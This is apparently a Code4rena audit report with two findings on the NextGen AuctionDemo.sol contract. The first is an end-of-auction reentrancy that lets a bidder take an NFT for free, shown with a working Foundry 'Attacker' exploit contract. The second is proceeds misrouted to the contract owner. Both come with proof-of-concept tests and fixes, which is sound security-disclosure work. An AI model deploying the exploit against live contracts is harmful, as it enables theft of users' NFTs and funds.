NextGen - cartlex_'s results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134-L143 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

An NFT can be stolen.

Proof of Concept

Auction winner in AuctionDemo.sol contract can claim its NFT using claimAuction() function. This function transfer an NFT to the winner using safeTransferFrom() and do refund to other users.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
    auctionClaim[_tokenid] = true;
    uint256 highestBid = returnHighestBid(_tokenid);
    address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
    address highestBidder = returnHighestBidder(_tokenid);
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
            (bool success, ) = payable(owner()).call{value: highestBid}("");
            emit ClaimAuction(owner(), _tokenid, success, highestBid);
        } else if (auctionInfoData[_tokenid][i].status == true) {
            (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
            emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
        } else {}
    }
}

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Also, if user decide to cancel its bid, there is a cancelAllBids() function, which remove a user's bid and transfers back funds to user.

function cancelAllBids(uint256 _tokenid) public {
    require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
    for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
        if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
            auctionInfoData[_tokenid][i].status = false;
            (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
            emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
        } else {}
    }
}

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134-L143

Each function can be used in last second of auction due to the next conditions:

In claimAuction() function:

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105

In cancelAllBids() function:

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

Hence a malicious user can attack the next way:

1. Malicious user create a contract with function which call participateToAuction() and claimAuction() functions from AuctionDemo.sol contract at the second of the auction.
2. Inside onERC721Received() function make a call of cancelAllBids() function.

Consequently, malicious user mint an NFT for free and.

Proof of concept with the exploit scenario.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {console2, Test, StdStyle} from "forge-std/Test.sol";
import {NextGenCore} from "src/NextGenCore.sol";
import {NextGenAdmins} from "src/NextGenAdmins.sol";
import {NextGenMinterContract} from "src/MinterContract.sol";
import {DelegationManagementContract} from "src/NFTDelegation.sol";
import {randomPool} from "src/XRandoms.sol";
import {NextGenRandomizerNXT} from "src/RandomizerNXT.sol";
import {auctionDemo} from "src/AuctionDemo.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract POC_ClaimAndCancelAtLastSecond is Test {
    NextGenCore public nextGenCore;
    NextGenMinterContract public nextGenMinterContract;
    NextGenAdmins public nextGenAdmins;
    DelegationManagementContract public delegationManagementContract;
    randomPool public _randomPool;
    NextGenRandomizerNXT public nextGenRandomizerNXT;
    auctionDemo public _auctionDemo;

    Attacker public attacker;

    address public alice;
    address public bob;
    address public steve;
    address public greg;
    address public owner;
    address public attackerAddress;

    function setUp() external {

        alice = vm.addr(0xB44DE);
        bob = vm.addr(0x1DE);
        steve = vm.addr(0x1DA);
        greg = vm.addr(0x13E);
        owner = vm.addr(0xA11CE);
        attackerAddress = vm.addr(0xACA);
        
        vm.label(alice, "alice");
        vm.label(bob, "bob");
        vm.label(steve, "steve");
        vm.label(greg, "greg");
        vm.label(owner, "owner");
        vm.label(attackerAddress, "attacker");

        uint256 initialAmount = 100e18;
        vm.deal(alice , initialAmount);
        vm.deal(bob , initialAmount);
        vm.deal(steve , initialAmount);
        vm.deal(greg , initialAmount);
        vm.deal(owner , initialAmount);
        vm.deal(attackerAddress, initialAmount);

        vm.startPrank(owner);

        nextGenAdmins = new NextGenAdmins();
        _randomPool = new randomPool();
        nextGenCore = new NextGenCore(
            "Next Gen Core",
            "NEXTGEN",
            address(nextGenAdmins)
        );

        nextGenRandomizerNXT = new NextGenRandomizerNXT(
            address(_randomPool),
            address(nextGenAdmins),
            address(nextGenCore)
        );

        delegationManagementContract = new DelegationManagementContract();

        nextGenMinterContract = new NextGenMinterContract(
            address(nextGenCore),
            address(delegationManagementContract),
            address(nextGenAdmins)
        );

        nextGenCore.addMinterContract(address(nextGenMinterContract));

        _auctionDemo = new auctionDemo(
            address(nextGenMinterContract),
            address(nextGenCore),
            address(nextGenAdmins)
        );
        vm.stopPrank();

        vm.startPrank(attackerAddress);
        attacker = new Attacker{value: 1.04 ether}(_auctionDemo);
        vm.stopPrank();
    }

    // To run test use: forge test --mt test_ClaimNFTAndCancelBidAtLastSecond -vvvvv

    function test_ClaimNFTAndCancelBidAtLastSecond() external {

        vm.startPrank(owner);
        nextGenAdmins.registerAdmin(alice, true);
        vm.stopPrank();

        string[] memory collectionScripts = new string[](1);
        collectionScripts[0] = "new collection script";

        vm.startPrank(alice);
        nextGenCore.createCollection(
            "cartlex-collection",
            "cartlex",
            "music collection from cartlex",
            "collection-website",
            "collection-license",
            "collection-baseURI",
            "collection-library",
            collectionScripts
        );
        vm.stopPrank();

        vm.startPrank(owner);
        nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT));
        nextGenAdmins.registerCollectionAdmin(1, alice, true);
        vm.stopPrank();

        vm.startPrank(alice);
        nextGenCore.setCollectionData(1, alice, 10_000, 20_000, block.timestamp + 1 days);
        nextGenCore.artistSignature(1, "skrillex");

        vm.warp(block.timestamp + 5 days);

        {    
            uint256 collectionId = 1;
            uint256 collectionMintCost = 1 ether;
            uint256 collectionEndMintCost = 0.1 ether;
            uint256 rate = 0.1 ether;
            uint256 timePeriod = 1 days;
            uint8 salesOption = 2;
            address delAddress = address(delegationManagementContract);
            nextGenMinterContract.setCollectionCosts(collectionId, collectionMintCost, collectionEndMintCost, rate, timePeriod, salesOption, delAddress);
        }

        {
            uint256 collectionID = 1;
            uint256 allowlistStartTime = block.timestamp;
            uint256 allowlistEndTime = block.timestamp + 1 days;
            uint256 publicStartTime = block.timestamp + 1 days;
            uint256 publicEndTime = block.timestamp + 2 days;
            bytes32 merkleRoot = bytes32(0);
            nextGenMinterContract.setCollectionPhases(collectionID, allowlistStartTime, allowlistEndTime, publicStartTime, publicEndTime, merkleRoot);
        }
      
        {
            string memory tokenData = "bob";
            uint256 saltfuno;
            uint256 collectionId = 1;
            uint256 auctionEndTime = block.timestamp + 7 days;
            nextGenMinterContract.mintAndAuction(bob, tokenData, saltfuno, collectionId, auctionEndTime);
        }

        vm.stopPrank();

        vm.startPrank(bob);
        assertEq(nextGenCore.balanceOf(bob), 1);

        nextGenCore.approve(address(_auctionDemo), 10000000000);
        vm.stopPrank();

        vm.startPrank(greg);
        uint256 bobTokenId = 10000000000;
        _auctionDemo.participateToAuction{value: 1 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(steve);
        _auctionDemo.participateToAuction{value: 1.01 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(steve);
        _auctionDemo.participateToAuction{value: 1.03 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(attackerAddress);
        vm.warp(block.timestamp + 7 days);

        uint256 attackerETHBalanceBeforeAttack = address(attacker).balance;
        uint256 attackerNFTbalanceBeforeAttack = nextGenCore.balanceOf(address(attacker));

        assertEq(nextGenCore.balanceOf(address(attacker)), 0);

        attacker.bid(bobTokenId);

        assertEq(nextGenCore.balanceOf(bob), 0);
        assertEq(nextGenCore.balanceOf(address(attacker)), 1);
        assertEq(address(attacker).balance, attackerETHBalanceBeforeAttack);

        console2.log(StdStyle.cyan("Attacker steal NFT for free at the last second of the auction"));

        vm.stopPrank();
    }
}

contract Attacker is IERC721Receiver {
    auctionDemo public auctionDemo_;
    address public owner;

    constructor(auctionDemo _auctionDemo) payable {
        auctionDemo_ = _auctionDemo;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not allowed");
        _;
    }

    function bid(uint256 tokenId) external {
        auctionDemo_.participateToAuction{value: address(this).balance}(tokenId);
        auctionDemo_.claimAuction(tokenId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        auctionDemo_.cancelAllBids(tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }

    function withdraw(address recipient) external onlyOwner {
        (bool success, ) = payable(recipient).call{value: address(this).balance}("");
        require(success, "not ok");
    }

    receive() external payable {}
}

Tools Used

Foundry, manual review.

Recommended Mitigation Steps

Consifer to implement the next changes:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
--  require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
++  require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L113

Vulnerability details

Impact

An NFT owner doesn't receive its funds for NFT.

Proof of Concept

After auction is end, auction winner can use claimAuction() function to send NFT to highest bidder, receive funds for it and make refund to other bidders.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
    auctionClaim[_tokenid] = true;
    uint256 highestBid = returnHighestBid(_tokenid);
    address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
    address highestBidder = returnHighestBidder(_tokenid);
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
            (bool success, ) = payable(owner()).call{value: highestBid}("");
            emit ClaimAuction(owner(), _tokenid, success, highestBid);
        } else if (auctionInfoData[_tokenid][i].status == true) {
            (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
            emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
        } else {}
    }
}

In project README.md file there is a Main invariant section, where says:

The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded.

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

However, due to a mistake the funds is sent to the contract owner instead of NFT owner.

(bool success, ) = payable(owner()).call{value: highestBid}("");

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L113

Proof of concept for this issue.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {console2, Test, StdStyle} from "forge-std/Test.sol";
import {NextGenCore} from "src/NextGenCore.sol";
import {NextGenAdmins} from "src/NextGenAdmins.sol";
import {NextGenMinterContract} from "src/MinterContract.sol";
import {DelegationManagementContract} from "src/NFTDelegation.sol";
import {randomPool} from "src/XRandoms.sol";
import {NextGenRandomizerNXT} from "src/RandomizerNXT.sol";
import {auctionDemo} from "src/AuctionDemo.sol";

contract POC_NFTOwnerDoesNotReceiveFunds is Test {
    NextGenCore public nextGenCore;
    NextGenMinterContract public nextGenMinterContract;
    NextGenAdmins public nextGenAdmins;
    DelegationManagementContract public delegationManagementContract;
    randomPool public _randomPool;
    NextGenRandomizerNXT public nextGenRandomizerNXT;
    auctionDemo public _auctionDemo;

    address public alice;
    address public bob;
    address public steve;
    address public greg;
    address public owner;

    function setUp() external {

        alice = vm.addr(0xB44DE);
        bob = vm.addr(0x1DE);
        steve = vm.addr(0x1DA);
        greg = vm.addr(0x13E);
        owner = vm.addr(0xA11CE);
        
        vm.label(alice, "alice");
        vm.label(bob, "bob");
        vm.label(steve, "steve");
        vm.label(greg, "greg");
        vm.label(owner, "owner");

        uint256 initialAmount = 100e18;
        vm.deal(alice , initialAmount);
        vm.deal(steve , initialAmount);
        vm.deal(greg , initialAmount);

        vm.startPrank(owner);

        nextGenAdmins = new NextGenAdmins();
        _randomPool = new randomPool();
        nextGenCore = new NextGenCore(
            "Next Gen Core",
            "NEXTGEN",
            address(nextGenAdmins)
        );

        nextGenRandomizerNXT = new NextGenRandomizerNXT(
            address(_randomPool),
            address(nextGenAdmins),
            address(nextGenCore)
        );

        delegationManagementContract = new DelegationManagementContract();

        nextGenMinterContract = new NextGenMinterContract(
            address(nextGenCore),
            address(delegationManagementContract),
            address(nextGenAdmins)
        );

        nextGenCore.addMinterContract(address(nextGenMinterContract));

        _auctionDemo = new auctionDemo(
            address(nextGenMinterContract),
            address(nextGenCore),
            address(nextGenAdmins)
        );
        vm.stopPrank();
    }

    // To run test use: forge test --mt test_NFTOwnerDoesNotReceiveFunds -vvvvv

    function test_NFTOwnerDoesNotReceiveFunds() external {

        vm.startPrank(owner);
        nextGenAdmins.registerAdmin(alice, true);
        vm.stopPrank();

        string[] memory collectionScripts = new string[](1);
        collectionScripts[0] = "new collection script";

        vm.startPrank(alice);
        nextGenCore.createCollection(
            "cartlex-collection",
            "cartlex",
            "music collection from cartlex",
            "collection-website",
            "collection-license",
            "collection-baseURI",
            "collection-library",
            collectionScripts
        );
        vm.stopPrank();

        vm.startPrank(owner);
        nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT));
        nextGenAdmins.registerCollectionAdmin(1, alice, true);
        vm.stopPrank();

        vm.startPrank(alice);
        nextGenCore.setCollectionData(1, alice, 10_000, 20_000, block.timestamp + 1 days);
        nextGenCore.artistSignature(1, "skrillex");

        vm.warp(block.timestamp + 5 days);

        {    
            uint256 collectionId = 1;
            uint256 collectionMintCost = 1 ether;
            uint256 collectionEndMintCost = 0.1 ether;
            uint256 rate = 0.1 ether;
            uint256 timePeriod = 1 days;
            uint8 salesOption = 2;
            address delAddress = address(delegationManagementContract);
            nextGenMinterContract.setCollectionCosts(collectionId, collectionMintCost, collectionEndMintCost, rate, timePeriod, salesOption, delAddress);
        }

        {
            uint256 collectionID = 1;
            uint256 allowlistStartTime = block.timestamp;
            uint256 allowlistEndTime = block.timestamp + 1 days;
            uint256 publicStartTime = block.timestamp + 1 days;
            uint256 publicEndTime = block.timestamp + 2 days;
            bytes32 merkleRoot = bytes32(0);
            nextGenMinterContract.setCollectionPhases(collectionID, allowlistStartTime, allowlistEndTime, publicStartTime, publicEndTime, merkleRoot);
        }
      
        {
            string memory tokenData = "bob";
            uint256 saltfuno;
            uint256 collectionId = 1;
            uint256 auctionEndTime = block.timestamp + 7 days;
            nextGenMinterContract.mintAndAuction(bob, tokenData, saltfuno, collectionId, auctionEndTime);
        }

        vm.stopPrank();

        vm.startPrank(bob);
        assertEq(address(bob).balance, 0);
        assertEq(address(owner).balance, 0);
        assertEq(nextGenCore.balanceOf(bob), 1);

        emit log_named_decimal_uint("Bob balance before  ", address(bob).balance, 18);
        emit log_named_decimal_uint("Owner balance before", address(owner).balance, 18);

        nextGenCore.approve(address(_auctionDemo), 10000000000);
        vm.stopPrank();

        vm.startPrank(greg);
        uint256 bobTokenId = 10000000000;
        _auctionDemo.participateToAuction{value: 1 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(steve);
        _auctionDemo.participateToAuction{value: 1.01 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(greg);
        _auctionDemo.participateToAuction{value: 1.02 ether}(bobTokenId);
        vm.stopPrank();

        vm.startPrank(steve);
        _auctionDemo.participateToAuction{value: 1.03 ether}(bobTokenId);

        vm.warp(block.timestamp + 7 days);

        _auctionDemo.claimAuction(bobTokenId);
        assertEq(address(bob).balance, 0);
        assertEq(address(owner).balance, 1.03 ether);

        console2.log(StdStyle.cyan("============================================"));
        emit log_named_decimal_uint("Bob balance after   ", address(bob).balance, 18);
        emit log_named_decimal_uint("Owner balance after ", address(owner).balance, 18);

        console2.log(StdStyle.cyan("Contract owner received funds instead of Bob"));
        vm.stopPrank();
    }
}

Tools Used

Foundry, manual review.

Recommended Mitigation Steps

To mitigate this issue consider to implement the next changes:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
    auctionClaim[_tokenid] = true;
    uint256 highestBid = returnHighestBid(_tokenid);
    address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
    address highestBidder = returnHighestBidder(_tokenid);
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
--          (bool success, ) = payable(owner()).call{value: highestBid}("");
++          (bool success, ) = payable(ownerOfToken).call{value: highestBid}("");
            emit ClaimAuction(owner(), _tokenid, success, highestBid);
        } else if (auctionInfoData[_tokenid][i].status == true) {
            (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
            emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
        } else {}
    }
}

Assessed type

Error